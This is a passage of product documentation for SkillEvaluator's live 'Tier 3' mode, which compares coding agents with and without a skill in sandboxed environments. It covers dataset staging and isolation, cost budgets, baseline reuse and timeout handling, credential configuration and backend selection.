supplies an +off-skill prompt under a supported negative heading. Generation uses your +configured evaluator provider by default; `--no-llm` falls back to keyless local +templates. The dataset format, `EVAL.md` guidance, and refinement options live +in [Eval Datasets](/skills/skillevaluator/eval-datasets). + +### Review the cases + +Open `evals/evals.json`. Each entry has an `id`, a `prompt` the agent will +receive, an `expected_output`, and optional `assertions` the grader checks. +Edit freely — the generated cases are a starting point, and the run is only as +good as its dataset. + +Each eval entry can declare task inputs with a `files` string or list. Paths are +relative to `evals/` (for example, `"files/case-001/input.txt"`) and only those +declared paths are staged into that task's `/workspace/input/`. An explicit +empty list or `null` stages no task input. For backward compatibility, omitting +the `files` field stages the entire shared `evals/files/` directory. + +An `evals/` directory directly owned by a skill package is evaluator-only. Tier +3 resolves the selected task source once and copies only the evaluator inputs it +can consume into one private temporary snapshot. That projection includes the +active dataset and configuration, selected fixtures, the first consumed grader, +the complete authored custom environment, and native tasks when selected. +Legacy entries that omit `files` retain the complete shared `evals/files/` +corpus. Unrelated evaluator subtrees and generated results are not copied. Every +agent and baseline arm reads the same snapshot, preventing a concurrent source +replacement from mixing dataset, fixture, grader, custom-environment, or +native-task identities. The snapshot is removed when the run returns and +requires temporary space only for the selected compatibility scope. + +Tier 3 does not install evaluator-owned directories from the target or any +nested, reference, or workspace skill into agent-visible copies. Runtime skill +projection and `--copy-repo` also omit every generated path excluded by the +versioned publication-source digest. The active report directory and the whole +catalog report root are explicitly excluded from full repo context, preventing +a repeated run from exposing prior reports or Tier 3 evidence to the agent. An +in-repository report directory is excluded only after SkillEvaluator reserves +or authenticates it as generated output; a nonempty unowned directory is +rejected instead of silently removing authored files from `--copy-repo`. +Authenticated historical result roots remain excluded after the configured +output location is changed; a present marker that is copied, stale, or cannot +be authenticated fails staging closed instead of copying that tree. Custom result roots created +outside `evals/` by a pre-marker version cannot be identified safely after the +configured location changes. Move or delete that old content before +`--copy-repo` or another full-context evaluation, then rerun with the current +version if replacement evidence is needed. Runtime assets that the agent needs +as part of the installed skill should live outside skill-owned `evals/`. Task +fixtures should live under `evals/files/` (preferred) or another non-control +subtree such as `evals/data/`, and should be declared as task inputs with +`files`. A `files` declaration cannot select evaluator control material: +dataset/configuration files, graders, developer eval guidance, benchmark +conversion reports, native Harbor tasks, custom environments, evaluator tests, +or generated results. + +Publication identity covers the evaluated skill tree itself. A Tier 3 run that +actually stages linked or full-repository context, or separately configured +external reference/workspace skills, still executes and remains available for +diagnosis, but its publication evidence fails closed as `INCOMPLETE`. +Full-repository selection also depends on Git/operator state excluded from the +skill digest, even when the repository root is the skill directory. Keep +publication-certifying runtime inputs inside the evaluated skill tree without +repository-context staging. Binding arbitrary repository projections under a +separate, versioned identity is not currently supported. + +MCP declarations are read only from a bounded, stable, single-link regular +`evals/environment/mcp_servers.toml` through a descriptor-anchored evaluator +root. Linked configuration files or parents, hardlinks, reparse points, and +files replaced during the read fail task generation before output mutation. On +Windows, the selected-file handle also denies concurrent writes and deletion +for the read. + +Native Harbor task `environment.mcp_servers` declarations use the same MCP +approval policy before staging, including declarations in task-level and +per-step verifier environments. For generated tasks, +`evals/environment/mcp_servers.toml` accepts approved `$VAR` and `${VAR}` header +references; generated Harbor task TOML uses the braced form required by Harbor +0.25. Source files and the agent's MCP JSON keep their original references. + +`evals/environment/input/` is reserved and is not copied into generated tasks. +Directory-level custom Docker `COPY input/` remains buildable for an empty entry +using an empty context directory. Missing, dynamic, linked, hardlinked, aliased, +or escaping input sources fail closed. Native Harbor tasks and Compose input +contexts use the same omitted-versus-explicit selection rules. + +The final evaluator layer replaces `/workspace/input`, `/workspace/repo`, and +supported agent skill-discovery roots. Custom Docker `preserve` mode also +requires a statically known final `USER` so the projection can be installed and +the original user restored. Custom Dockerfiles and base images remain trusted +executable environment inputs: these controls isolate evaluation fixtures and +supported discovery roots; they are not a security boundary against an image +that intentionally changes system binaries or startup behavior. + +Evaluator-owned in-skill output uses a path-bound authenticity marker backed by +a local key. A copied, forged, or stale marker cannot authorize replacement at +another path. A custom key path set through +`SKILLEVALUATOR_OUTPUT_PROVENANCE_KEY_FILE` must remain outside every evaluated +skill source. + +### Run the comparison + +```bash title="With-skill vs. without-skill in Docker" +skillevaluator tier3 ./my-skill --env-mode docker +``` + +Every supported agent harness works the same way: + +```bash title="Choose an agent harness" +skillevaluator tier3 evaluate ./my-skill --agents opencode --env-mode docker +skillevaluator tier3 evaluate ./my-skill --agents codex --env-mode docker +skillevaluator tier3 evaluate ./my-skill --agents claude-code --env-mode docker +``` + +Use `--agent-model AGENT=MODEL` whenever the evaluator provider's default model +is not valid for that agent — for example, `codex` needs an OpenAI-compatible +Responses model. When the run completes, results land in a timestamped +directory: + + +- evals/ + - results/ + - 20260709_141530_12345_a1b2c3d4e5f6/ + - result.json + - run_config.json + - report.html + - codex/ + - lift.json + - with-skill/ + - without-skill/ + + +### Read the report + +```bash title="Open the HTML report, then compare across agents" +skillevaluator view ./my-skill +skillevaluator compare ./my-skill +``` + +`view` opens the latest HTML report; `compare` summarizes stored results across +agents and arms. [Reports & Results](/skills/skillevaluator/reports) explains everything the run +wrote and how to interpret it. To ask follow-up questions about one run and get +grounded advice on skill changes, pass its run directory to +[`tier3 feedback`](/skills/skillevaluator/cli-reference#tier3-feedback). + + +## Plan for cost + +Tier 3 performs live model and agent calls, so it can incur provider charges +and, with a managed cloud environment, sandbox charges. A useful estimate of +the trial volume is: + +```text +eval cases × agents × attempts × arms +``` + +A standard comparison has two arms (with-skill and without-skill). Each trial +can make multiple agent-model requests, standard grading adds evaluator-model +calls, dataset generation can add more, and the optional runtime preflight adds +one extra agent execution per agent. Actual charges therefore depend on the selected +models, token usage, agent behavior, and environment pricing; SkillEvaluator +does not estimate a fixed dollar amount. Check the current pricing for your +[NVIDIA API Catalog](https://build.nvidia.com/), +[OpenAI](https://openai.com/api/pricing/), +[Anthropic](https://docs.anthropic.com/en/docs/about-claude/pricing), or +[Amazon Bedrock](https://aws.amazon.com/bedrock/pricing/) provider and, when +applicable, your cloud sandbox vendor. + +Start with one agent, a small reviewed dataset, and `--n-attempts 1`. During +dataset iteration, `--skip-baseline` removes the without-skill arm and usually +cuts the live trial count roughly in half, but that run cannot produce Skill +Lift. Re-enable the baseline for any result you intend to compare or publish. +For multi-attempt runs, `--stop-on-pass` can avoid remaining attempts after a +pass; it is rejected with `--n-attempts 1`. To try a large dataset before +paying for every case, `--max-cases N` (or `harbor.max_cases`) runs only the +first N cases in staged order: eval dataset order, or task-directory name +order for native Harbor tasks. The run records the selection in +`run_config.json`, its dataset snapshot covers only the cases that ran, and +reports mark it publication-incomplete when cases were skipped. By contrast, +`--n-concurrent` and `--max-agents` control parallelism and elapsed time; they +do not reduce the total planned trials or model work. + +With `--stop-on-pass`, an attempt that hits Harbor's agent execution timeout +does not end the case: the next attempt runs, and when a later attempt of the +same case completes with a score, it recovers the timeout. The timed-out +attempt is never scored, and its failure stays in the agent's results under +`recovered_trial_failures`. It still used one of the case's attempts, so +reports count it on its own: the HTML **Attempt Details** row shows it as +`A1: timed out, recovered`, or as a count (`1 timed out, recovered`) when the +report did not keep its attempt number, and keeps it in the attempt total. A +case that timed out on attempt 1 and passed on attempt 2 of 3 reads +`1 of 3 scored` and `passed on attempt 2`, and `tier3 evaluate` prints one +line for each agent with recovered timeouts. Without `--stop-on-pass` there is +no recovery: a timed-out attempt leaves the arm's attempt coverage incomplete. + +### Cost and local mode + +`--env-mode local` avoids managed cloud-sandbox charges by running the agent +on your machine. It does **not** automatically eliminate model charges: a +hosted evaluator or agent provider is still billed normally, and local compute +and runtime become your responsibility. If both the evaluator and agent are +configured to use compatible locally hosted models, external API charges may +also be avoided. + +```bash title="Small local trial" +skillevaluator tier3 evaluate ./my-skill --agents codex --env-mode local \ + --n-attempts 1 +``` + +Local mode is experimental and provides weaker isolation than Docker or a +managed sandbox. Use it only for trusted skills and workspaces; saving sandbox +cost is not worth running untrusted code directly on the host. +## Tune the run + +The high-signal flags, with defaults: + +| Flag | Default | Effect | +| --- | --- | --- | +| `--n-attempts` | `1` | Attempts per eval case; values above one add pass@k context | +| `--pass-threshold` | `0.5` | Score an attempt needs to count as passed | +| `--n-concurrent` | `4` | Concurrent eval cases per agent | +| `--max-agents` | selected-agent count | Maximum agents run in parallel | +| `--max-cases` | every case | Run only the first N eval cases; a run that skips cases is not publication evidence | +| `--skip-baseline` | off | Skip the without-skill arm; faster, but no Skill Lift | +| `--reuse-baseline RUN` | off | Reuse a compatible fresh baseline from a retained run id, or `latest` | +| `--skip-with-skill` | off | Run only the without-skill arm, for example to calibrate a task set; the report shows baseline scores with no Skill Lift or skill verdict | +| `--stop-on-pass` | off | Stop a case's remaining attempts once one passes | +| `--agent-runtime-preflight` | off | Add one agent-only execution of the first staged task per agent before the full A/B matrix; `--no-agent-runtime-preflight` overrides a config value that enables it | +| `--tolerate-baseline-timeouts` | off | Keep an agent scored on its with-skill arm when only baseline attempts hit the agent execution timeout; see [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts) | +| `--progress` | `auto` | Progress rendering: `auto`, `rich` (live TTY view with secret redaction), `plain`, or `off` | +| `--progress-interval` | mode default | Seconds between progress heartbeats: 1 for `rich`, 60 for `plain` lines in CI and redirected output | +| `--autopilot` | off | When no evaluation source exists, generate exactly one eval case — with the configured provider, falling back to a deterministic keyless template — never overwriting an existing source | +| `--grading-mode` | `default` | `default`, `default_plus_custom`, or `custom_only` — see [Custom Graders & Tasks](/skills/skillevaluator/custom-graders) | +| `--results-dir` | `evals/results`, or `SKILLEVALUATOR_RESULTS_DIR` when set | Write results under an external root instead of the skill directory; custom in-skill roots are rejected | +| `--harbor-keep-jobs` | off | Retain Harbor job directories for inspection | +| `--timeout-multiplier` | `1.0` | Scale Harbor's agent, verifier, and environment-build timeouts; must be a finite number greater than 0 whose scaled timeouts stay finite | +| `--copy-repo` | off | Copy the surrounding repository into the task environment | +| `--include-skills` | none | Stage additional skill directories; requires `--skill-workspace-mode group` | + +With `--stop-on-pass`, `--n-concurrent` still limits concurrent eval cases per +agent. Each case's attempts run one after another and stop after the first +passing score. The with-skill and without-skill arms run one after the other, +and each uses the full `--n-concurrent` budget. For example, two agents with +`--n-concurrent 4` run up to eight trials at once, fewer when fewer cases +remain. + +Run budgets (`--max-agent-tokens`, `--max-judge-calls`, +`--max-attempts-total`, and priced `--max-cost-usd`) control admission between +logical units of work. Already admitted work can take measured usage above a +cap, including on the final unit. These are admission boundaries, so a priced +cost budget does not guarantee a hard dollar cap. + +Concurrent admission reserves each in-flight attempt using the largest measured +per-attempt usage seen so far in this run, separately for agent tokens, judge +calls, and priced cost. Estimates come only from real telemetry. When a bounded +dimension has no measurement yet, only one logical calibration unit (such as a +with-skill/baseline pair) may be in flight across the run. Other workers wait +until every admitted attempt in that unit finishes, even if its first attempt +already provided a measurement. If bounded usage is unmeasured, admission stops +under the existing unknown-usage rule. +For each bounded dimension with an estimate, admission checks +`used + (in-flight attempts + proposed attempts) × estimate` against the cap. +If that projection exceeds a cap while work is in flight, the worker waits for +completion and re-checks fresh usage; waiting alone does not mark attempts +`not_run`. If the projection still exceeds a cap with nothing in flight, the +unit is denied, even when measured usage is below the cap. Its members retain +`reason: budget_exhausted` and add `basis: estimate`; `budget.exhausted_basis` +also identifies estimate-based exhaustion. The budget summary shows measured +usage and the estimated next unit, rather than implying usage reached the cap. +Attempt-count limits and stopping on unknown bounded usage are unchanged. + +If every attempt for an agent arm is denied by the budget, no Harbor job is +created for that arm. It is reported as skipped with `skip_reason: +budget_exhausted`, zero expected and scored attempts, and no execution error. +The run remains incomplete because the budget left planned attempts not run. +An empty Harbor job that was expected to execute attempts still fails validation. +This also applies with `--stop-on-pass`: every planned case and attempt must have +an explicit budget denial before an arm is considered not run. A reused baseline +remains baseline evidence when the with-skill arm is denied; it does not become +the run's overall score. Records with an explicit non-budget reason do not reduce +the required attempt coverage. + +Reservation reduces but does not eliminate in-flight overshoot. Estimates can +grow, an attempt can exceed its estimate, and the calibration unit is +unestimated. A run can also stop below its cap because of an estimate. Caps +remain admission boundaries, not hard ceilings; there is no +hard currency ceiling. `budget.reservation` records the +`largest_measured_attempt` policy, `estimate_per_attempt` (or `not measured`), +`in_flight_attempts`, `waits` (all condition waits), `calibration_waits` (the +calibration subset), and `unestimated_admissions` (attempts admitted with at +least one bounded usage dimension still unmeasured). `estimate_denials` counts +logical units refused after estimate-based exhaustion; `denied_unit_size` +records the size of the unit that first caused that exhaustion. + +Cost summaries cover agent inference accounting only, using user-supplied +rates with a provider-reported cost fallback, not billed spend. Judge inference, +setup, containers, backend fees, and infrastructure charges are not included. +Unknown agent cost is not treated as zero; measured subtotals remain visible, +and unknown cost stops further admission when a cost limit is configured. + +`budget.status` and `exhausted_limit` describe admission decisions; +`budget.partial` records attempts left not run. Separately, +`budget.observed_overruns` maps each exceeded limit to its measured `used`, +configured `limit`, and `excess` (with attempts measured by started attempts). +Only usage strictly above a cap is an overrun; completion exactly at a cap +remains within it. Summaries derive these facts from usage and limits, +including for older saved runs. Missing or partially measured bounded usage +is reported as unverified, and unconfigured limits are not checked. An observed +overrun alone does not change scores, execution success, or partial-run status. + +After execution, `run_config.json`, `result.json.run_config.budget`, and +`result.json.budget` contain the same final accounting. Reports also prefer +the top-level result budget when rebuilding older runs with stale run configs. +Terminal, HTML, and benchmark reports show the shared budget summary, including +exhaustion, not-run attempts, measured overruns, and unverified bounded usage. + +When `budget.not_run` is non-empty, the run-level summary verdict is +`incomplete`: the budget left planned work unexecuted, not evaluated failures. +Admitted attempts keep their per-case and per-agent scores. Any displayed +Skill Lift covers admitted attempts only; it is not a complete-run verdict +that the skill helps. An overrun without not-run attempts retains its verdict. +Budget reporting does not change admission, scoring, execution status, or +command exit codes. + +In a terminal, `--progress auto` uses the `rich` view: one table of the run +plan and its stages that keeps the same height for the whole run. Each row is +one line, and a long value ends in an ellipsis instead of wrapping. The agent +models, provider and run plan are also printed in full above the table +whenever they change. The table shows the most recently updated stages in a +fixed number of rows, at least six and at least one per agent. When the run +ends, the table left on screen lists every stage. Its details wrap in full +when the terminal leaves the Detail column at least 20 columns; in a narrower +terminal each row stays on one line. The view redraws only when a stage +changes or a heartbeat updates elapsed times. If drawing fails, including a +terminal write that would block, the table stops updating with its stages as +they were, a line says that the run continues, and no further progress is +shown for that run; the final results still print. When the terminal also +refuses that line, or the write that shows the cursor again, a line saying +that the run went on is printed and the cursor is shown when the run ends. If +the terminal refused only that line, a stream that keeps what the terminal +refused, as standard error does, sends that line then instead of the later +one, although after a failed first frame both can appear. If the terminal +still refuses writes when the run ends, such a stream sends the later line and +the write that shows the cursor once the terminal takes writes again, but only +if its buffer has room for them. A buffer already full of a refused table can +drop that line and leave the cursor hidden. When any run ends, whether or not +drawing failed, the view drops its own copy of output the terminal still +refuses, such as a refused final table, so it does not draw that output over +lines printed since. A stream that keeps what the terminal refused, as +standard error does, can still send it later, and a table sent then can still +erase those lines. + +Every `tier3 evaluate` flag, including resource overrides and Dockerfile +modes, is in the [CLI Reference](/skills/skillevaluator/cli-reference). + + +While iterating on a dataset, `--skip-baseline` roughly halves the runtime. +Re-enable the baseline arm for any run whose Skill Lift you intend to trust. + + +### Reuse a baseline + +Use `skillevaluator tier3 evaluate ./my-skill --reuse-baseline latest` to run +the with-skill arm against an existing without-skill baseline in the same +results root. An explicit retained run id can replace `latest`. This option +cannot be combined with `--skip-baseline` or `--skip-with-skill`. + +Reuse requires matching datasets and case coverage, selected agents and resolved +models (including model sources), environment configuration, judge/scorer, +attempt policy, evaluator version, and workspace/repository-context settings. +Skill content and evaluated revision are separate from baseline compatibility. +The source must have a successful, complete, freshly executed without-skill arm +with readable persisted case/attempt evidence. Older runs without that evidence, +failed or partial baselines, and runs which themselves reused a baseline are +not sources. Keep the original fresh run if you want to reuse it again. + +An incompatible explicit id fails before agent jobs launch and lists the +rejection reasons. `latest` searches completed runs newest first; if none is +compatible, evaluation runs a fresh baseline and records bounded rejection +diagnostics. Reports identify the source and timestamp when reuse succeeds. +The new run retains its own baseline rows. Fresh execution counts and reused +trial counts are separate; reused evidence is not another independent attempt. +Cost savings depend on the run, including agent, judge, and environment usage. +Baseline compatibility deliberately excludes concurrency and budget. It does +not establish actual judge-model agreement. Reused resource measurements are +historical observations from the source run, not fresh consumption or independent +evidence in this run; consider these limits alongside task outcomes when +interpreting resource differences. + +### Compare skill versions + +Add `--compare-to RUN` to compare the current with-skill arm with a retained +run's with-skill arm. This is separate from Skill Lift, which still compares +with-skill against no-skill. It can be combined with `--reuse-baseline latest`: + +```bash +skillevaluator tier3 evaluate ./my-skill --compare-to RUN --reuse-baseline latest +skillevaluator tier3 compare-versions ./my-skill --current CURRENT --prior PRIOR +skillevaluator tier3 compare-versions ./my-skill --current CURRENT --prior PRIOR --json +``` + +Both runs must have compatible datasets/cases, agents and resolved models, +environment, judge/scoring policy, attempts, evaluator version, and workspace +configuration. The prior with-skill arm must have complete successful scored +evidence; it may itself have reused a no-skill baseline. An incompatible +explicit id is refused before agent execution. `--compare-to latest` searches +newest first for an eligible different skill revision, records bounded rejected +candidates, and continues without a version comparison if none is available. +An explicitly selected identical skill identity is allowed but flagged as +not a version change. + +Version deltas use the same per-case pairing and score policy as Skill Lift. +A negative available delta is marked as a regression; missing or unscored +evidence is unavailable, never zero or a regression. Reports show the source +run/revision and prior-to-current score transition. `compare-versions` is +read-only, needs no provider credentials, and uses the same results-root +resolution via `--results-dir`. It exits nonzero when comparison is unavailable. +The static semver option `--previous-version` is unrelated and unchanged. + +### Baseline-only runs + +`--skip-with-skill` is the counterpart of `--skip-baseline`: it stages and runs +only the without-skill arm. Use it to measure how agents do on a task set +before the skill exists, or to re-measure a baseline after a model or harness +change without paying for with-skill trials. + +```bash title="Baseline-only calibration run" +skillevaluator tier3 evaluate ./my-skill --agents codex --skip-with-skill +``` + +The run is reported as a baseline calibration, not a skill evaluation. The +overall score and best agent come from the baseline arm, the with-skill arm is +recorded as `skipped`, with-skill scores and Skill Lift are unavailable (shown +as `skipped` or N/A, never 0.0), and the verdict stays NEUTRAL because no skill +was measured. The two flags are mutually +exclusive, and baseline isolation rules still apply: a config that sets +`harbor.pre_agent_setup` (or `setup_commands`) is rejected, because the +baseline arm must stay isolated from skill-owned setup commands. `validate` +does not accept `--skip-with-skill`, so a baseline-only run can never satisfy a +Tier 3 gate. + +### Baseline timeouts + +By default, any attempt that errors or goes unscored fails its agent, and any +failed agent fails the whole run: one baseline attempt that hits the agent +execution timeout leaves the run with no overall score or verdict, even though +the verdict reads only with-skill dimensions. `--tolerate-baseline-timeouts` (or +`harbor.tolerate_baseline_timeouts: true` in `evals/config.yml`) keeps such an +agent scored on its with-skill arm. `--no-tolerate-baseline-timeouts` +overrides a config value that enables it. + +```bash title="Keep agents whose baseline timed out" +skillevaluator tier3 evaluate ./my-skill --agents claude-code,codex --tolerate-baseline-timeouts +``` + +The option applies only to an agent whose with-skill arm completed and whose +baseline has at least one attempt that ended in `AgentTimeoutError` (an attempt +a later `--stop-on-pass` attempt recovered does not count). The agent stays +scored only when every one of these holds; otherwise it fails as before, and +the run warning names the rule that did not hold: + +- Its with-skill arm scored every attempt with no errors. +- Every missing baseline attempt is a trial that ended in Harbor's + `AgentTimeoutError`, matched case by case and, with `--stop-on-pass` or a + cost limit (each attempt then runs as its own job), attempt by attempt. + Attempts that a [cost limit](/skills/skillevaluator/tier3-run-options#cost-limits) left `not_run` are not expected, + so they are not missing. A setup timeout, + process exit, verifier failure or any other baseline error is not + tolerated. Native multi-step tasks are not covered: Harbor records their + agent timeouts on the step rather than on the trial, so such a baseline is + refused (`step_timeout_not_supported`). +- Every timed-out attempt shows agent output (output tokens above zero; a + count past the JSON-safe integer range is not evidence). +- Each timed-out attempt left an agent log, and no log shows a known provider + overload, rate limit, quota or authentication error identifier (such as + `rate_limit_error`, `insufficient_quota`, `Error code: 429` or a `429` + status field). This is a best-effort check: a provider error worded in a + way it does not know is not caught. +- Every other agent completed, at least one of them completed both arms, and + the run has no other launch errors. A single-agent run never qualifies. +- The run grades standard dimensions (not `custom_only`) and runs both arms. + A baseline reused with `--reuse-baseline` did not run in this run, so the + option does not apply to it. + +For a tolerated agent, the baseline condition stays `failed` with its errors, +and its baseline scores, Skill Lift, pass@k lift and security attribution are +not reported. The reports, and the findings panel that `tier3 evaluate` prints +with `--verbose`, rank it below every agent with a complete baseline, so the +best agent, overall score and lift come from complete evidence. The run's +verdict and the `RUN QUALITY VERDICT` line that `tier3 evaluate` prints +read the same agents: a tolerated agent that passes every dimension +does not make the run PASS, and when every agent with a complete baseline +never activated the skill the verdict is INCONCLUSIVE. When the best agent +never activated the skill, the findings panel is left out rather than showing +a tolerated agent's findings. `BENCHMARK.md` and `report.html` keep the "Needs +attention" note and name each tolerated agent on its own line, for example +`Baseline incomplete for opencode (1 of 2 attempts scored)`, also when a cost +limit leaves the report without a completed-agent result. + +`result.json` records the timed-out attempts under the agent's +`baseline_timeout_tolerance` (also written to +`/baseline_timeout_tolerance.json`; at most 32 attempts are listed, and +`failed_attempts` is the exact count). An agent that was refused gets +`baseline_timeout_tolerance_rejection` with the rule's code. The run-level +`baseline_timeout_tolerance` lists the tolerated agents and the launch errors +their timeouts explain (at most 32, with `explained_launch_errors_total`). The +run lists a warning for each tolerated or refused agent, and `run_config.json` +records `harbor.tolerate_baseline_timeouts`. The option changes no execution, +so `--reuse-baseline`, `--compare-to` and `tier3 history` do not compare it: +runs with and without it still pair. The missing baseline attempts +still count, so the run is not complete publication evidence and does not +satisfy a blocking Tier 3 gate. +## Cost limits + +Runs can be bounded with `--max-agent-tokens`, `--max-judge-calls`, +`--max-attempts-total`, `--max-cost-usd`, and `--price-file`. The price file is +JSON keyed by model identifier; each model entry requires `input_per_mtok` and +`output_per_mtok`, and may set `cached_input_per_mtok` (defaulting to the +input rate). Cached prompt tokens use the cached rate and remaining prompt +tokens use the input rate. A model key must exactly match the resolved agent +model. Relative `harbor.price_file` paths resolve from the source skill +directory. + +The price file is user-supplied, not a verified billing rate card. Its currency +is as supplied by the file, labelled USD by `--max-cost-usd`; no currency +conversion or billing verification occurs. `budget.pricing` records +`source: user_price_file`, the file name without its absolute path, the SHA-256 +of the exact loaded bytes, and `rates_per_mtok` for models whose rates actually +derived an attempt cost (empty before any such derivation). The effective cached +rate is recorded even when it defaults to the input rate. +`verified_against_provider_billing` is always false. + +For each attempt, complete agent input/output token telemetry takes precedence +over provider-reported cost. Cost is uncached input times the input rate, plus +cached input times the cached rate, plus output times the output rate, divided +by one million. Cached tokens are clamped to input tokens; missing cached counts +are treated as uncached. If input/output telemetry is missing, reported agent +cost is used instead; otherwise cost is unmeasured, never invented or treated as +zero. An unknown attempt retains earlier measured subtotals and stops further +cost-bounded admission. + +`budget.charge_coverage.attempts_by_derivation` counts completed accounting +records as `price_file`, `provider_reported`, or `unmeasured`. The coverage policy +excludes judge inference, environment setup, containers, backend fees, and +infrastructure. Judge evidence does not supply structured token counts for +pricing; prompt/reply character counts are not converted to tokens or money. +Neither the computed cost nor a provider-reported fallback verifies billed +spend, and the admission boundary is not a hard currency ceiling. + +Token and cost limits cover agent inference only. `--max-judge-calls` counts +recorded judge attempts, excluding `salvage` entries, transport retries, and +requests made internally by RAGAS. Measured usage totals are retained even +when another attempt has no telemetry; that attempt is tracked as unmeasured. +Attempts that cannot start after a limit is reached are reported as `not_run`, +and the resulting run is partial. diff --git a/docs/tier3-runtime.mdx b/docs/tier3-runtime.mdx new file mode 100644 index 000000000..33250fb3e --- /dev/null +++ b/docs/tier3-runtime.mdx @@ -0,0 +1,498 @@ +--- +title: "Live Evaluation Runtime Reference" +description: "Backend compatibility, credential handling, execution environments, and CI behavior." +--- + +For your first comparison, start with [Run a live evaluation](/skills/skillevaluator/tier3-live-evaluation). + +## How a run works + +`tier3 evaluate` reads the accepted dataset (or native task source), resolves +each agent's actual provider route and the enabled standard-grading route, and +makes bounded credential-bearing model-catalog requests before image preparation +or task staging. Definitive native-provider authentication, authoritative model +rejection, and deterministic Bedrock credential/configuration failures stop +immediately. Non-authoritative OpenAI catalog permission or membership results, +compatible-gateway catalog authentication, unsupported catalogs, and transient +failures are reported as degraded rather than blocking the run. A successful +NVIDIA Build or compatible-gateway listing is also inconclusive when that +catalog does not authenticate inference. The optional real per-agent runtime +preflight is the stronger check for agent routes. A degraded route used only by the +standard grader remains unproven until grading begins. Native Harbor judge selection is likewise inconclusive +until runtime when no host judge override is set. `result.json` retains the +redacted target-by-target outcome under `run_config.credential_validation`, +including when an enabled agent runtime preflight fails. + +SkillEvaluator then builds the Harbor task bundle. Before spending the full +A/B matrix, you can pass `--agent-runtime-preflight` to run one extra agent-only +execution per agent. It uses the first staged evaluation task and its real prompt, +so it can consume substantial tokens and exercise task actions; grading is the +only part disabled. It is off by default. Harbor then starts the selected +environment and runs the agent in both arms; with standard grading, each transcript is +judged against the case's expected output and assertions using the configured +evaluator provider (see +[How standard grading judges a trial](/skills/skillevaluator/tier3-grading#how-standard-grading-judges-a-trial)). Finally, SkillEvaluator collects the artifacts and +computes the dimension scores, pass rates, and Skill Lift. Harbor task and job +directories are transient: they are deleted after collection whether the run +succeeds or fails, unless you pass `--harbor-keep-jobs`. + +Two credential roles are involved: the evaluator provider generates datasets +and performs standard grading, while the live agent uses its own native +credential. Both come **only from the host environment** — a checked-out skill +can never supply, replace, or reroute them: + +| Credential | Used for | How to set | +| --- | --- | --- | +| Evaluator LLM provider | Dataset generation and standard grading | `SKILL_EVAL_LLM_PROVIDER` plus the provider key — see [Providers & Credentials](/skills/skillevaluator/configuration) | +| Live agent credential | The agent actually performing the task | Export it in the host environment where you run `skillevaluator` | + +```bash title="Agent credentials are host-environment exports, never config entries" +export SKILL_EVAL_LLM_PROVIDER=openai +export OPENAI_API_KEY=sk-... # evaluator, and codex's runtime +export ANTHROPIC_API_KEY=sk-ant-... # claude-code's runtime +``` + +`evals/config.yml` may still add permitted task-scoped values through +`harbor.runtime_env`, but any entry that names — or `${VAR}`-references — an +operator-owned credential (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, +`NVIDIA_API_KEY`, the base-URL variables, `AWS_*`) fails the run with a hard +error. This prevents a skill from swapping a credential or routing a trusted +key to an attacker-controlled endpoint. [Providers & +Credentials](/skills/skillevaluator/configuration) lists every blocked name. + +`runtime_env` also cannot override host launcher, language-runtime, Docker, +Compose, proxy, or tracing controls. Configure the selected backend in the +host environment instead. + +One deliberate exception collapses the two roles: with the `nv_build` provider +in `--env-mode docker`, `kata`, or `local`, a single `NVIDIA_API_KEY` powers the +evaluator and all three agents. Direct OpenCode talks to NVIDIA Build directly; +Codex and experimental Claude Code use an in-container (Docker and Kata) or local compatibility bridge. +Explicit model overrides are preserved exactly. Without an override, all three +agents default to Nemotron 3.5 Lightning (`nvidia/nemotron-3.5-lightning-30b-a3b`); direct +OpenCode renders it as `nvidia/nvidia/nemotron-3.5-lightning-30b-a3b` because its +adapter namespace precedes the NVIDIA catalog ID. Override models explicitly +when you want to compare harnesses or models: + +```bash title="NVIDIA Build model overrides" +skillevaluator tier3 evaluate ./my-skill --agents opencode --env-mode docker \ + --agent-model opencode=nvidia/nvidia/nemotron-3.5-lightning-30b-a3b +skillevaluator tier3 evaluate ./my-skill --agents codex --env-mode docker \ + --agent-model codex=nvidia/nemotron-3.5-lightning-30b-a3b +skillevaluator tier3 evaluate ./my-skill --agents claude-code --env-mode docker \ + --agent-model claude-code=nvidia/nemotron-3.5-lightning-30b-a3b +skillevaluator tier3 evaluate ./my-skill --agents opencode --env-mode docker \ + --agent-model opencode=nvidia/meta/llama-3.1-8b-instruct +``` + +On cloud env-modes the bridges are +unavailable: `opencode` still works with `NVIDIA_API_KEY` directly, but +`codex` and `claude-code` fall back to their own native credentials and +explicit models — see [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes). +## Where agents run + +`--env-mode` selects one of 27 environment modes: 26 Harbor-native backends, +including the default Docker backend, plus SkillEvaluator's **local mode**, +which runs the agent CLI directly on the host under an OS-sandbox policy. +Managed backends such as `daytona`, `e2b`, and `modal` require their mapped +Harbor 0.25 extra; OpenShift, Apple Container, and Singularity instead use +system CLIs and have no Harbor Python extra. These are selectable integration +modes, not evidence that every managed backend was exercised end to end for +this release. The transport integration suites target Docker and local; +Kata mode reuses the Docker transport but has not been exercised on a KVM host. +Validate any managed backend's extra, credentials, infrastructure, and +constructor settings with `doctor` and its Harbor preflight before relying on +it. + +Harbor's `cua-cloud`, `opensandbox`, `hf-sandbox`, `podman`, `prime`, +`smol`, `sbx`, `sail`, and `kernel` backends are not selectable until they can +receive SkillEvaluator's complete generated task bundle through a trusted +image or backend-native provisioning path. + +Environment kwargs are only for Harbor-native non-Docker backends. Pass +non-secret constructor settings with the repeatable, operator-only +`--environment-kwarg KEY=VALUE` / `--ek KEY=VALUE` option. Skill-owned +`evals/config.yml` cannot set them. `docker` and `local` reject any environment +kwargs, and `kata` accepts only `kata_runtime` and `kata_dns`. Fields owned by Harbor runtime policy are also reserved: resource +overrides, mounts, network policy, extra Compose definitions, SkillEvaluator's +own lifecycle fields (`delete`, `force_build`, `keep_containers`), output +mount controls (`auto_mounts`, `auto_mounting`), and +Kubernetes pod security are not exposed through this surface. Other +backend-specific timeout and retention knobs remain operator-owned. The +`cwsandbox` and `wandb` modes also reserve `forward_compose_env` to prevent host +environment values from being copied into task Compose definitions. Use the same +eligible-backend flags with `doctor` and `health-check`; never pass secrets +through constructor kwargs. GKE requires +`cluster_name`, `region`, `namespace`, `registry_location`, and +`registry_name`; ACK requires `namespace`; EC2 requires `region` plus `ami_id` +for its default ephemeral launch mode or `instance_id` with +`launch_mode=attach`. The complete environment/extra matrix, examples, Docker +resource 